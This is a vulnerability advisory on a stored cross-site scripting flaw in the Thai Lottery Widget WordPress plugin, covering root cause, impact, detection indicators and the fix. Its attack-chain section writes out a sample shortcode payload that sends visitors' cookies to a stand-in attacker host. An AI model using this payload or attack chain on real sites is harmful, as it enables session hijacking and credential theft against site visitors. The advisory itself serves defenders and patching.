CVE-2025-13678: 
WordPress vulnerability analysis and mitigation

CVE-2025-13678 is a Stored Cross-Site Scripting (XSS) vulnerability in the Thai Lottery Widget plugin for WordPress, affecting all versions up to and including 2.5. The flaw stems from insufficient input sanitization and output escaping on the width and height attributes of the thailottery shortcode, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. The vulnerability was published on December 5, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in thailottery.php at line 330, where user-supplied width and height shortcode attributes are rendered into page output without proper sanitization or escaping. An attacker with at least Contributor-level WordPress access can craft a shortcode containing malicious JavaScript, which is then stored in the database and executed in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated attacker to persistently inject malicious scripts into WordPress pages, which execute in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further compromise of site visitors. The scope is changed (S:C), meaning the impact extends beyond the attacker's own session to affect other users of the site (Wordfence, ENISA EUVD).

No public exploit code or in-the-wild exploitation has been reported for CVE-2025-13678. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication on the target WordPress site, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the Thai Lottery Widget plugin version 2.5 or earlier, using tools such as WPScan or manual inspection of plugin directories.
2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the [thailottery] shortcode with a malicious payload in the width or height attribute, e.g., [thailottery width="1" height="1"><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit the post or page for publication (or save as draft if contributor permissions allow).
5. Trigger execution: When any authenticated or unauthenticated user visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing [thailottery shortcode with unusual width or height values (e.g., containing <script>, javascript:, or encoded variants).
• Database: WordPress wp_posts table entries containing the [thailottery] shortcode with script tags or obfuscated JavaScript in the width or height attributes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the [thailottery] shortcode.
• File System: No direct file system artifacts expected, as the payload is stored in the database; however, review thailottery.php for any unauthorized modifications (Wordfence).

Site administrators should update the Thai Lottery Widget plugin to version 2.6 or later, which addresses the insufficient sanitization of the width and height shortcode attributes. As a temporary workaround, restrict Contributor-level user registration or limit the ability of untrusted users to publish content containing shortcodes. Reviewing existing posts for malicious [thailottery] shortcode usage is also recommended (Wordfence, ENISA EUVD).